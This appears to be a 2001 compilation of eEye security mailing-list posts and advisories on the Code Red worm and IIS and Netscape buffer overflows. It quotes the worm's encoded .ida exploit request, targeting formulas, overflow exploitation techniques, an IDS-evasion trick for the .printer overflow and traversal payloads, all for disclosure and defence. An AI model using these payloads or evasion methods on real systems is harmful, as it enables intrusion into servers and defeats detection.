http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities
CodeRed: the next generation
The following is a description of a "variant" "Code Red" worm that we have found to be in the wild. Sorry for the rough content but we thought it would be best to get this information out sooner and worry about pretty text formating later ;-] -- In this text, we will be refering to the original "Code Red" worm as CRv1 and the second generation "Code Red" worm as CRv2. This does not preclude further generations/varioations still in the wild, it is just an analysis of the worms we have access to. This information is not currently public. Well, sort of is (we published the disassembly of CRv1, so CRv1 targeting info may be known), but the existance of CRv2 with different targeting has not been verified until now as far as we know. For the evidence surrounding the impetus for this second worm search, please examine Stuart Staniford's ([EMAIL PROTECTED]) excellent statistical analysis of worm hit data. The CRv2 worm has the following charecteristics: second:milisecond randomness added to ip selection process removal of web page hack display (no notice to the end users via a defaced page) All other parts of the worm are the same. (still attacks whitehouse.gov (but the IP address has been blackholed), has time limits/definitions of attack, notworm lysine) The worst part about this means that our original tracking methodology (sensors early in the sequence) is no longer accurate, since CRv2 infected hosts do not contact early hosts, nor reliably contact any point (other than the blackholed IP address that use to point to whitehouse.gov). This means that potentially ALL(ie: global, coprehensive) ids/logs data must be organized and sorted to find infected hosts. The Differences: It has 13 or so pertient bytes changed, adding a time based randomness factor and disabling page defacement. The code had been there all along. It had intentially (we must assume) been disabled in CRv1 , then reenabled near the end of the cycle. There has been discussion that this was a natural progression of the worm code, however, we do not beleive this is the case. From analsysis of CRv1, there seems to be no distinct way to shift the nessecary bytes to generate CRv2. Hence, it is my belief that this is a modified worm, rereleased. It has been posited that the CRv1 was a target aqusition mechanism, gathering data on infectable hosts to gain a high initital base for the following CRv2 infection. The Ip Selection Process: We will display the effecive CRv1(sequence), and the effective CRv2(timebased) ip selection processes. This is a one byte change, at offset 9C2. it changes the storage of some time based computations that were performed in CRv1 but discarded. The new byte changes the storage location from EBP-1B0( a general purpose holder stack var) to EBP - 18C(the location of the ip). This means that the timevars are actively used in CRv2, while being discarded in CRv1. These are the targeting algorithms(complete, as far as we can discern) that are the asm in the CRv1 worm and also in the CRv2 worm. Seeding the "PRNG" for these examples seed is used for ip through the first iteration of the connect loop. the seed does not change between CRv1 and CRv2, but each thread in the worm has a mildly different seed. seed = threadcount(based on 1) * 50F0668D; CRv1: The ipselection process in CRv1 is a simple sequence generator. This caused the early sequences that we noticed and refered to in our (eEye's) initital warning advisory: ip = (ip * 0x0CF3383) + 0x76BFE53; CRv2: The ipselection process in CRs2 is signifigantly more complex. It takes use of time and a whole lot more input operations. In the following secmsec is the DWORD pair of seconds and mseconds returned from GetSystemTime ip = (ip + secmsec*secmsec*0x0CD59E3 + secmsec*0x1E1B9) * 0x0CF3383 + 0x76BFE53 Other Details: Coincidentally, if this isn't general public knowledge, the worm is smart enough to avoid attacking the 127.x.x.x and 224.x.x.x subnets using the following logic after setting the ip. if( (ip & 0xFF == 0x7f) || (ip & 0xFF == 0xE0) )ip +=0x20DA9; the Hacked Page: The second difference between CRv1 and CRv2 is that CRv2 does not deface the webpage of an infected system. It does this by having 12 bytes different from CRv1. When TcpSockSend is hooked(this still happens), CRv2 points this to a basic redirect that performs harmless actions and returns without actually changing any content. Crv1 pointed to a replacement, CRv2 points to basically a donothing function. what is happeinging is that the label "PADDING_BYTES" actually is padding bytes in CRv1(the code does not disassemble to any sane code). CRv1: We've used ida's data feature to show the "padding data" as dwords(instead of a bunch of bytes) CD4 - EB F8jmp short near ptr HOOK_FAKE_TCPSOCKSEND+4 ; Jump CD6 - 22 6E 84 32 PADDING_BYTES dd 32846E22h CDA - 03 75 B3 CAdd 0CAB37503h CDE - 5A 04 56 34
RE: Full analysis of the .ida "Code Red" worm.
You basically just summed up what I was writing in an eMail... As far as things look right now... whitehouse.gov will remain standing upright because they blackholed the IP address that use to map to it which was the right thing to do and kept this from turning into a much bigger problem then it already is. This of course does not by any means the worm is done. Hopefully enough people are talking and administrators are listening and installing patches right away. --- as a side note... some people asked about why the worm has "slowed down" on infecting and thats because the worm was designed to do that... to stop infecting and start attacking an IP address that use to point to whitehouse.gov. This whole worm process that we have been going through will basically start from scratch and run its course again when the 1st of next month comes around. Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Web Application Firewall | -Original Message- | From: Ryan Russell [mailto:[EMAIL PROTECTED]] | Sent: Thursday, July 19, 2001 6:36 PM | To: Laurence Hand | Cc: Marc Maiffret; BUGTRAQ | Subject: Re: Full analysis of the .ida "Code Red" worm. | | | On Thu, 19 Jul 2001, Laurence Hand wrote: | | > | > I know MS watches this list, so I hope they will be checking their | > servers before this starts the DDOS tomorrow. | > | | I believe the DDoS started an hour and a half ago, at 5:00 PDT (0:00 UTC, | the next day). I was getting 5-10 attempts an hour, and I've had 0 | since 4:43:29 PDT. | | Folks will notice that www.whitehouse.gov is still accessible. The worm | authors only put in one IP address, the one for www1.whitehouse.gov. BBN | (who appears to be the provider for whitehouse.gov, according to my | tracert) has blocked that single IP address at their peering points. So | www2.whitehouse.gov is still running just fine. | | Presumably, www.whitehouse.gov used to be RR DNS between the two. Now, | www.whitehouse.gov resolves to just 198.137.240.92, and it has a TTL of | only 872. | | For a relatively clever worm, the author sure screwed up his target list. | Whoops. | | Ryan | |
RE: 'Code Red' does not seem to be scanning for IIS
the worm just tries port 80 on ip's. doesnt care if its IIS or not. also as for the ip seed thing... we have heard reports there is a variant worm that is doing truly random IP addresses. We dont have any more info on that though. Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities |-Original Message- |From: Mike Brockman [mailto:[EMAIL PROTECTED]] |Sent: Thursday, July 19, 2001 9:33 PM |To: [EMAIL PROTECTED] |Subject: 'Code Red' does not seem to be scanning for IIS | | |>From what i read about the 'Code Red'-worm, it was supposed to be scanning |for IIS-servers. It obviously is'nt, i believe it tries to infect |everything they find on port 80, or something as simple as that. | |About three to four days ago, i started to get those default.ida-GET's in |my Apache-logs. I shut down the server as fast as i could, and checked for |outgoing connections from my computer, and then did some research. |I was told that it was an IIS-worm, and that it could'nt affect |Apache-servers, so i was safe. I turned the server back on, and from that |day i have received forty-one attempts. | |How can this be? Why am i getting so few attempts, if it is as eEye says |-- that every worm-instance has the same seed? |I should be getting tons and tons of tries, if the worm has been around |for this long. Or is it that my IP is high up in the "sequence", and not |many comes that far? If that is the case, the number should be increasing |fast in the near future, right? | |I'll come back with a report in a week or so. | | | m'name be mike brockman! jeeh! |_ooh,_und_dunt_feed_my_eskimoes_ | |
Update to "Code Red" Worm. Its a date bomb, not time.
Thanks to Eric from Symantec for tossing us a note about the worm being Date based and not Time based. We made an error in our last analysis and said the worm would start attacking whitehouse.gov based on a certain time. In reality its based on a date (the 20th UTC) which is tomorrow. If the worm infects your system between the 1st and the 19th it will attempt to deface the infected servers web page or try to propogate itself to other systems. On the 20th all infected threads will attempt to attack www.whitehouse.gov. This seems to continue until the worm is removed from the infected system. Any new infection that happens between the 20th and 28th will most likely be someone "hand infecting" your system as all other worms should be attacking whitehouse.gov. If for some reason you are infected between the 20th and the 28th then the worm will begin attacking whitehouse.gov without trying to infect other systems. This attack will continue indefinitly. The following are rough numbers, but we felt that it was important to illustrate the affects this worm can _possibly_ have. The worm has a timeline like this: day of the month: 1-19: infect other hosts using the worm 20-27: attack whitehouse.gov forever 28-end of month: eternal sleep Presumably, this could restart at any point in a new month again. Also, some stats for the attack: Each infection has 100 threads Each thread is going to send about 100k, a byte at a time, which means you have a (40 for ip + 1 for each byte) which means you have 4.1 megs of data per thread 100 threads * 4.1megs = 410 Megabytes This will be repeated again every 4.5 hours or so Remember, each host can be infected multiple times, meaning that a single host can send 410MB * # of infections. We have had reports between 15 thousand and 196 thousand unique hosts infected with the "Code Red" worm. However, there has been cross infection and we have heard reports of at least 300+ thousand infections/instances (machines with multiple infections etc..) of this worm. If there are 300 thousand infections then that means you have (300,000 * 410 megabytes) that is going to be attempted to be flooded against whitehouse.gov every 4 and a half hours. If this is true and the worm "works as advertised" then the fact that whitehouse.gov goes offline is only the begining of what _can_ possibly happen... I am actually writing this part of the eMail about 45 minutes after the first part because our Internet connection here in california has been going up and down. We have also heard reports of internet connectivity going down in parts of northern california and new york. Signed, eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities
Full analysis of the .ida "Code Red" worm.
The following is a detailed analysis of the "Code Red" .ida worm that we
reported on July 17th 2001.
This analysis was performed by Ryan Permeh and Marc Maiffret of eEye Digital
Security. The disassembly (complete with comments) was done by Ryan
"Shellcode Ninja" Permeh.
Table of Contents
=
1. Introduction
2. Explanation
3. Commentary
4. Deep Analysis
5. Conclusion
6. Appendix
7. Credits
You can get a copy of this analysis, commented disassembly, full IDA
database, and binary of worm from
http://www.eeye.com/html/advisories/codered.zip
Introduction
On Friday July 13th we received packet logs and information from 2 network
administrators that were experiencing large amounts of attacks targeting the
recent .ida vulnerability that eEye Digital Security discovered
(http://www.eeye.com/html/Research/Advisories/AD20010618.html) on June 18,
2001. After reviewing the logs sent to us we determined that in fact someone
had released a worm into the Internet that was spreading rapidly through IIS
web servers.
The full analysis of the .ida "Code Red" worm has provided numerous new
details as to the functionality and method of propagation of this worm. For
instance this worms purpose ultimately seems to be to perform a denial of
service attack against www.whitehouse.gov. Also it has been found that only
US English Windows NT/2000 systems will show the defaced ("Hacked by Chinese
!") web page.
We've designated this the .ida "Code Red" worm, because part of the worm is
designed to deface web pages with the text "Hacked by Chinese" and also
because code red mountain dew was the only thing that kept us awake all last
night to be able to disassemble this exploit even further.
Explanation
===
As stated earlier the .ida "Code Red" worm is spreading throughout IIS web
servers on the Internet via the .ida buffer overflow attack that was
published weeks ago.
The following are the steps that the worm takes once it has infected a
vulnerable web server.
1. Setup initial worm environment on infected system.
2. Setup a 100 threads of the worm
3. The first 99 threads are used to spread the worm (infect other web
servers).
-The worm spreads itself by creating a sequence of random IP addresses.
However, the worm's randomization of IP addresses to attack is not all
together random. In fact there seems to be a static seed that the worm uses
when generating new IP addresses to try to attack. Therefore every computer
infected by this worm is going to go through the same list of random IP
addresses to try to infect. The "problem" with that is that the worm is
going to end up reinfecting systems and also end up crossing traffic back
and forth between hosts to end up creating a denial of service type affect
because of the amount of data that will be transferred between all the IP
addresses in the sequence of random IP addresses. The worm could have done
truly random IP generation and that would have allowed it to infect a lot
more systems a lot faster. We are not sure why that was not done but a
friend of ours did pose an interesting idea... If the person who wrote this
worm owned an IP address that was one of the first hundred or thousand
etc... to be scanned then they could setup a sniffer and anytime and IP
address tried to connect to port 80 on their IP address they would know that
the IP address that connected to them was infected with the worm and they
would therefore be able to create a list of the majority of systems that
were infected by this worm.
4. The 100th thread checks to see if it is running on a English (US) Windows
NT/2000 system.
-If the infected system is found to be a English (US) system then the worm
will proceed to deface the infected systems website. That means... the local
web servers web page will be changed to a message that says Welcome to
http://www.worm.com !, Hacked By Chinese!. This hacked web page message will
stay "live" on the web server for 10 hours and then disappear and never
appear again unless the infected system is re-infected by another host.
-If the system is not a English (US) Windows NT/2000 system then the 100th
worm thread is also used to infect other systems.
5. Each worm thread checks for c:\notworm
-If the file c:\notworm is found, the worm goes dormant.
-If the file is not found then each thread will continue to attempt to
infect more systems.
6. Each worm thread will now check the infected computers time.
-If the time is between 20:00 UTC and 23:59 UTC then the worm will proceed
to use this thread to attack www.whitehouse.gov. The attack consists of the
infected system sending 100k bytes of data to port 80 of www.whitehouse.gov
therefore potentially performing a denial of service attack against
www.whitehouse.gov.
-If the time is below 20:00 UTC then this worm thread will try to find and
inf
RE: IIS5 .idq exploit
SANS is a bit behind the curve if they have just announced this today as this has been around for a few weeks now. First on some geocities website, then on packetstorm, then finally on the win2ksec mailing list (and a few others). As a side note... a few people have confused the .ida worm with hsj's exploit... hsj's exploit is _not_ a worm. Just wanted to clear that up for the handful of people I have seen misreporting things. Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities |-Original Message- |From: Jason Staples - CNW [mailto:[EMAIL PROTECTED]] |Sent: Wednesday, July 18, 2001 6:14 PM |To: [EMAIL PROTECTED] |Subject: IIS5 .idq exploit | | | |SANS accounced its availability today, and after spending a bit of time |searching, I finally found the new IIS5 exploit. | |http://www.geocities.co.jp/MotorCity/5319/iis5idq_exp.txt | |Regards, |Jason | |+--++ || Jason Staples [EMAIL PROTECTED] | /"\| || Network EngineerSecurity Analyst | \ / ASCII Ribbon Campaign | || | XAgainst HTML E-Mail | || Connect Northwest Internet Services. | / \ | |+--++ |
Initial analysis of the .ida "Code Red" Worm
The following information was researched by Ryan Permeh ([EMAIL PROTECTED] and Marc Maiffret ([EMAIL PROTECTED] of eEye Digital Security. We would like to specially thank Matthew Asham of Left Coast Systems Corp and Ken Eichman of Chemical Abstracts Service for providing us with logs and needed data to make this analysis possible. Introduction On Friday July 13th we received packet logs and information from 2 network administrators that were experiencing large amounts of attacks targeting the recent .ida vulnerability that eEye Digital Security discovered (http://www.eeye.com/html/Research/Advisories/AD20010618.html) on June 18, 2001. >From the first analysis of the logs that were sent to us we were able to deduce that in fact it looked as if someone had released a worm for the .ida vulnerability. Within the logs we could see connection attempts from over 5 thousand IIS 5 web servers targeting various other IIS web server and sending a .ida exploit to each of them. Evidence also showed that compromised hosts were being used to attack other hosts. We've designated this the .ida "Code Red" worm, because part of the worm is designed to deface webpages with the text "Hacked by Chinese" and also because code red mountain dew was the only thing that kept us awake all last night to be able to disassemble this exploit. Details --- Note: Details are going to be short for now. We plan on releasing a full analysis of the worm but felt that it was important to get this message out ASAP as this worm is starting to affect a lot of people. The standard injection vector is a exploit that uses the .ida buffer overflow to execute code (as SYSTEM) on vulnerable remote systems. The worm performs the following on infected systems: * Spawns 100 threads which are used to scan for new IIS web servers to infect * Checks for the existence of c:\notworm and if it is found then it does not try to propagate itself to other hosts. * Defaces web pages with the message: HELLO!Welcome to http://www.worm.com !Hacked By Chinese! Analysis Note: Again this is a quick brief analysis, more detail will follow. Upon infection the infected host will spawn 100 threads in a loop. This loop checks for the existence of c:\notworm and if the file does not exist then the worm will proceed to start scanning for vulnerable servers to infect. The worm does scan for random IP addresses. However, the worm uses the same seed for "randomization" of IP addresses. This means that each new infected host will start at the same IP and continue scanning further down the same track of IP's as every other infected host. The ramifications of this are severe because this means that hosts early in this "randomized" IP sequence will be hit over and over as new hosts are infected. This creates the potential for a denial of service against early IP addresses in the sequence. Also, evidence has proved that hosts can be infected multiple times therefore creating a drain on system resources. However, normal worm operation seems to have a cut off point as to how many times a host will be re-infected. Early analysis seems to suggest that the worm has a limit of 3 reinfections however that may have just been "by chance" in our test scenario. Other in house tests of the infections have shown that internal thread rate limiting seems to be broken in certain situations. Which means that some infected systems will continue to spawn new threads until system resources become so low that the entire web server computer crashes or becomes unusable. Summary --- We will be releasing a full detailed analysis, complete with disassembled worm code and comments within the code. We have had reports from a few network administrators that their IDS systems have seen this .ida attack originating from over 5 thousand unique source addresses within a 3 day time span. Hosts early in the IP sequence will be hit with a traffic based denial of service and those hosts vulnerable to this worm will most likely grind to a halt. How to secure your system from this .ida attack --- Microsof patch for this .ida vulnerability http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/ bulletin/MS01-033.asp eEye Digital Security Advisory http://www.eeye.com/html/Research/Advisories/AD20010618.html The following is part of the packet data that is sent for this .ida "Code Red" worm attack: /default.ida?NNN N%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u%u00=a HTTP/1.0 You can set your IDS to monitor for this to be able to see if yo
RE: ISAPI and SECUREIIS
When we were researching the .ida exploit we came across this _potential_ bug and we therefore fixed the problem before the Microsoft security advisory was released. We also notified all of our customers about the new version of SecureIIS and that they _needed_ to upgrade to the latest version (at the time that was 1.1) because we updated some of our technologies within SecureIIS. So in the end people that were using SecureIIS were actually protected from the .ida vulnerability days before the vulnerability even was released to any public forum etc... In the future if you find what you believe to be a bug then I would suggest contacting us first so that we can give you the needed information (I.E. 3 or so new versions of SecureIIS have been released since 1.0.6) and if there is a valid problem then we can fix that problem. This however is not an issue. Thanks! Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities |-- Forwarded message -- |Date: Wed, 27 Jun 2001 00:56:48 +0200 |From: Crussaider <[EMAIL PROTECTED]> |To: [EMAIL PROTECTED] |Subject: ISAPI and SECUREIIS | | | |Hi all, | |after some testing I noticed that SecureIIS 1.0.6 does not |protect IIS 5.0 from ISAPI DoS attack. In the attachment is |isapi-dos2.c and isapi.exe cygwin compilation. | |After attack with this exploit IIS is down. In SecureIIS i |have very restrictive polices, but anyway it did not manage to |protect it from this kind of attack. |To try isapi.exe you must have cygwin1.dll | |Does anyone have similar experience? | | | |-- |Best regards, | Crussaider mailto:[EMAIL PROTECTED] |
All versions of Microsoft Internet Information Services, Remote buffer overflow (SYSTEM Level Access)
All versions of Microsoft Internet Information Services, Remote buffer overflow (SYSTEM Level Access) Release Date: June 18, 2001 Severity: High (Remote SYSTEM level code execution) Systems Affected: Microsoft Windows NT 4.0 Internet Information Services 4.0 Microsoft Windows 2000 Internet Information Services 5.0 Microsoft Windows XP beta Internet Information Services 6.0 beta Description: There exists a remote buffer overflow vulnerability in all versions of Microsoft Internet Information Services (IIS) Web server software. The vulnerability lies within the code that allows a Web server to interact with Microsoft Indexing Service functionality. The vulnerable Indexing Service ISAPI filter is installed by default on all versions of IIS. The problem lies in the fact that the .ida (Indexing Service) ISAPI filter does not perform proper "bounds checking" on user inputted buffers and therefore is susceptible to a buffer overflow attack. Attackers that leverage the vulnerability can, from a remote location, gain full SYSTEM level access to any server that is running a default installation of Windows NT 4.0, Windows 2000, or Windows XP and using Microsofts IIS Web server software. With system-level access, an attacker can perform any desired action, including installing and running programs, manipulating Web server databases, adding, changing or deleting files and Web pages, and more. The Discovery: Riley Hassell was at it again one day working to further advance eEye's CHAM (Common Hacking Attack Methods) technology so that Retina could better search for unknown vulnerabilities in software and so that SecureIIS could better protect from unknown IIS vulnerabilities. After a few hours of running some custom CHAM auditing code one of our Web servers in our lab eventually came to a halt as the IIS Web server process had suddenly died. We investigated the vulnerability further and found that the .ida ISAPI filter was susceptible to a typical buffer overflow attack. Example: GET /NULL.ida?[buffer]=X HTTP/1.1 Host: werd Where [buffer] is aprox. 240 bytes. The Exploit, as taught by Ryan "Overflow Ninja" Permeh: This buffer overflows in a wide character transformation operation. It takes the ASCII (1 byte per char) input buffer and turns it into a wide char/unicode string (2 bytes per char) byte string. For instance, a string like gets transformed into \0A\0A\0A\0A. In this transformation, buffer lengths are not checked and this can be used to cause EIP to be overwritten. This sounds like any normal overflow to date, however there are a few sticking points in doing anything useful with this. First, you transform 2 bytes into 4, 2 of which you have no control over. This would be a bad situation, but not impossible to exploit. However, the 2 bytes that you do not have control over happen to be nulls. Basically, we need to take this 2 byte string and somehow get it to point to our code. Traditionally, we use our overwritten EIP to jump to a call esp, or jmp esp, jumping back to code we have positioned on the stack to implement whatever it is our shellcode would like to do. In this case, however, there is a problem. GET /a.ida?[Ax240]=x HTTP/1.0 The above example overwrites EIP with 0x00410041. Again, traditionally, we insert our shellcode in the same buffer we overflow, however we run into the problem that then our code would also face the same expansion that our EIP bytes face. This makes writing shellcode a horrible pain. There are two methods of doing this: 1. custom shellcode: It might be possible to write shellcode that works fine with NULL byes every other byte. It would probably have to be very simple, but this could be possible. 2. encode: You could probably write a decoder that takes a string of 0x0041 and rewrites it on the stack into actual single byte code. This would have to be written completely in 0x00bb opcodes, most likely a challenge in itself (similar to the above custom shellcode, but only a decoder would need to be written). This would, of course only be possible if we could find a point in memory that we could reach using only 0x00aa00bb. This gives us only about 65k spots in memory to look for jump bytes, a pretty dismal situation. Exploiting Wide Char Strings In Practice We got lucky using this method. We were basically limited to a very very small range of memory in which to find jump bytes. We thought we were losing the battle until we realized that IIS/ISAPI uses 0x00aabbcc as its memory range for allocated heap. We developed a spray technique in an attempt to push enough data into the heap so that the bytes we require will be there when we need to jump to them. For instance, in Windows 2000 Service Pack 1, we noticed that we had request bytes at around 0x0042deaa. Since the closest we could get to this was 0x00430001 (by overflowing with C%01 at the end of our overflow string. This offered us an intriguing possibility -- perhaps we could push more stuff into a reques
IDS's, host: headers, and .printer ISAPI overflow as an example
A lot of Intrusion Detection Systems are only look for Host: strings when dealing with web server attacks that do "bad things" with the Host: field. An example of that would be the .printer ISAPI overflow that eEye released a few weeks or so ago. We have seen three distinct patterns in signatures attempting to detect this attack. 1. Block/alert all .printer attacks: this causes all .printer attacks to be signaled as attacks, potentially causing many false positives in environments where it is used. However, I would agree that .printer is not recommended at all for public web servers. 2. Blocking shell code signatures: This is only as effective as the sigs are. Writing shell code to avoid these sigs completely can typically be done in a matter of a few minutes. 3. Those that deal with Host: headers. This seems to be the best targeting for this attack sig, but all that we have seen are flawed in their implementation, and here's how to walk past them: The overflow, when released, would have a client request that looked like the following: GET /anything.printer HTTP/1.1 Host: overflow Some IDS's looking for Host: overflows were basically only looking for Host: [overflow]. However, the above attack can also be represented as: GET http://overflow/anything.printer HTTP/1.0 To IIS (and a lot of other web servers) both requests are valid and both requests contain valid host header information. IIS will process both of them in the same manner. So if an attacker changes any of the various exploit programs on the net to place the overflow buffer in http://%s/ instead of Host: %s then that exploit will basically sneak past certain IDS's that are only focusing on Host: data instead of doing proper host header checking. just a heads up Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Like Intrusion Detection, except it stops the attackers of today, yesterday. http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS web server attacks
RE: ASLabs-2001-01: Multiple Security Problems in eEye SecureIIS
You will find our response and fix information below. To download the latest version of SecureIIS (v.1.0.4) then visit the SecureIIS website at, http://www.eeye.com/secureiis/ |Vendor: eEye (http://www.eEye.com) |Product: SecureIIS |(http://www.eeye.com/html/Products/SecureIIS/index.html) |Product description (from |http://www.eeye.com/html/Products/SecureIIS/index.html): |SecureIIS protects Microsoft IIS (Internet Information Services) Web |servers from known and unknown attacks. SecureIIS wraps around IIS and |works within it, verifying and analyzing incoming and outgoing Web |server data for any possible security breaches. It combines the best |features of Intrusion Detection Systems and Conventional Network |Firewalls all into one, and it is custom tailored to your Web server. | |Release Date: May 17th, 2001. | |Authors: C-3P0 and R2-D2. |1. Keyword checking - SecureIIS promises "By checking for common | GET /whatever.script?user=%41DMIN HTTP/1.0 |And: | POST /whatever.script HTTP/1.0 | Content-Type: application/x-www-form-urlencoded | Content-Length: 10 | | user=ADMIN We have updated SecureIIS to properly handle various web encoding methods including unicode and hex (%) style encoding. We have also updated SecureIIS to perform keyword checking on POST data. |2. Directory traversal - SecureIIS promises "In certain situations, | GET /whatever.script?file=/%2e%2e/%2e%2e/boot.ini HTTP/1.0 |And: | POST /whatever.script HTTP/1.0 | Content-Type: application/x-www-form-urlencoded | Content-Length: 20 | | page=/../../boot.ini The directory traversal checking bug described above was fixed when the keyword and post bugs were fixed. See section 1. |3. Buffer Overflows - For HTTP headers, SecureIIS promises (from | GET / HTTP/1.0 | Host: [500 x random a-z charachers] We have enabled individual header length checking in SecureIIS 1.0.4. |4. Buffer Overflows in SecureIIS - if the request is large (several SecureIIS did not suffer from a buffer overflow attack. There were a few bugs though that might have lead you to believe so. These bugs were actually fixed in SecureIIS version 1.0.3 which was posted to our website on Thurs. May 17th. The problem you were seeing was due to some issues with how IIS itself allocates heap memory. |Workaround: No workaround is known. We first found out about this vulnerability from reading an advisory that was posted (Fri 5/18/2001 10:49AM) by ASLabs (namely C-3P0 and R2-D2) to various security mailing lists. While we wish they would have contacted us in advance, we do appreciate bug reports and vulnerability research because it helps us to create better products. As stated earlier we have since posted (Sat 5/19/2001 12:27am) a new version of SecureIIS (version 1.0.4) that fixes the bugs talked about in C-3PO and R2-D2's advisory. These bugs were valid and therefore were dealt with at a top priority. The bugs that were posted were most likely to affect third party apps rather than IIS specific vulnerabilities. Basically this means that registered users of SecureIIS have been protected from various IIS specific vulnerabilities (unicode,nsfocus-decodebug,.printer,etc...) from the very first beta of SecureIIS. The following is a list of some of the new features/changes in SecureIIS: Maximum POST Query Length Allowed Processing of individual header length fields High Bit Shellcode Protection in POST Data Full decoding of all query strings (unicode and hex data) Keyword filtering for POST data Protect against Directory Traversal Exploits in Query String and POST Data Once again, being that eEye itself does vulnerability research, we definitely encourage vulnerability research from other organizations as it helps to make products more secure. If anyone should find any other related bugs within our software (SecureIIS, Retina, Iris) then please do not hesitate to eMail [EMAIL PROTECTED] or myself so that we can work with you to fix the bugs ASAP. Thanks! Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Web Application Firewall
iPlanet - Netscape Enterprise Web Publisher Buffer Overflow
iPlanet Netscape Enterprise Web Publisher Buffer Overflow Release Date: May 11, 2001 Severity: High (Remote SYSTEM level code execution) Systems Affected: Netscape Enterprise 4.1 and prior versions. Description: The Web Publisher feature in Netscape Enterprise 4.1 is vulnerable to a buffer overflow. By sending a large buffer containing executable code and a new Instruction Pointer, an attacker is able to gain remote system shell access to the vulnerable server. The overflow itself exists in Publishers handling of the URI (Uniform Resource Identifier). By specifying GETPROPERTIES, GETATTRIBUTENAMES, or any other one of the publisher specific methods, we can pass data into vulnerable section of the server and exploit the vulnerability. Example: C:\>telnet www.example.com 80 Connecting To www.example.com... connected. GETPROPERTIES /(buffer) HTTP/1.1 Host: Hostname (enter) (enter) Where (buffer) is 2000 characters. The Exploit: We have not had time yet to produce a proof of concept exploit, however expect one soon. Vendor Status: Quote from iPlanet's development team: "The security & stability of iPlanet's customer's environments is one of our paramount concerns. To ensure the stability of our customer's environments iPlanet has made available an NSAPI patch that can be applied to iPlanet Web Server, Enterprise Edition." The NSAPI patch is available at: http://iplanet.com/products/iplanet_web_enterprise/iwsalert5.11.html . This issue will also be addressed by the release of iPlanet Web Server, Enterprise Edition version 4.1 Service Pack 8. Credit: Riley Hassell ([EMAIL PROTECTED]) Related Links: SecureIIS, Stop known and unknown IIS web server vulnerabilities. http://www.eeye.com/SecureIIS Retina, The Network Security Scanner. http://www.eeye.com/Retina Greetings: Tool for an amazing new album. NiN for another beautiful single. Copyright (c) 1998-2001 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com [EMAIL PROTECTED]
Windows 2000 .printer remote overflow proof of concept exploit
We have updated our advisory (http://www.eeye.com/html/Research/Advisories/AD20010501.html) to link to a proof of concept exploit for our Windows 2000 .printer ISAPI overflow vulnerability. The proof of concept code, when run against a vulnerable Win2k system, will create a file called www.eEye.com.txt on the root of drive c. If you have a Windows 2000 web server then please install the Microsoft security patch ASAP. This proof of concept exploit is not to be used as a method of testing to see if your vulnerable or not. It has been published as a way to learn more about what is going on with specific technical details pertaining to this flaw. If you have not installed the Microsoft security patch then you are most likely vulnerable and need to patch your system ASAP. As a side note... eEye Digital Security was contacted by a few of the rather lage IDS vendors yesterday looking to get a copy of the example exploit so that they could create a signature for their IDS. Instead of replying to each of them individualy we thought we would do so here and that way other IDS vendors will have the "heads up." Creating an IDS signature that looks for a request of GET /NULL.printer HTTP/1.0\nHost: eeyeoverflowstring\n\n is not going to really do much for you. While you might catch our specific example exploit you will miss any other exploits that have been developed and are "in the wild." In order to correctly monitor for people launching attacks against the .printer ISAPI filter you should be looking for any get requests of .printer and a large (you'll have to track down the buffer range yourself, around 420) Host: header. That is one of the ways that SecureIIS is able to generically stop the attack (simply speaking of course). Anyways, have fun reading and learning from the example exploit. Ryan Permeh ([EMAIL PROTECTED]) has done a great job with it. Also... There has been some talk on various mailing lists about methods of detecting if the .printer ISAPI filter is installed on a remote server. Now some people suggested opening IE and then typing in http://www.example.com/anything.printer which should then return an error like "Error in web printer install." However by default IE shows "friendly" HTTP error messages and is not going to show you the ISAPI error message. So either turn off friendly HTTP error messages or use telnet (recommended). Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Web Application Firewall
Windows 2000 IIS 5.0 Remote buffer overflow vulnerability (Remote SYSTEM Level Access)
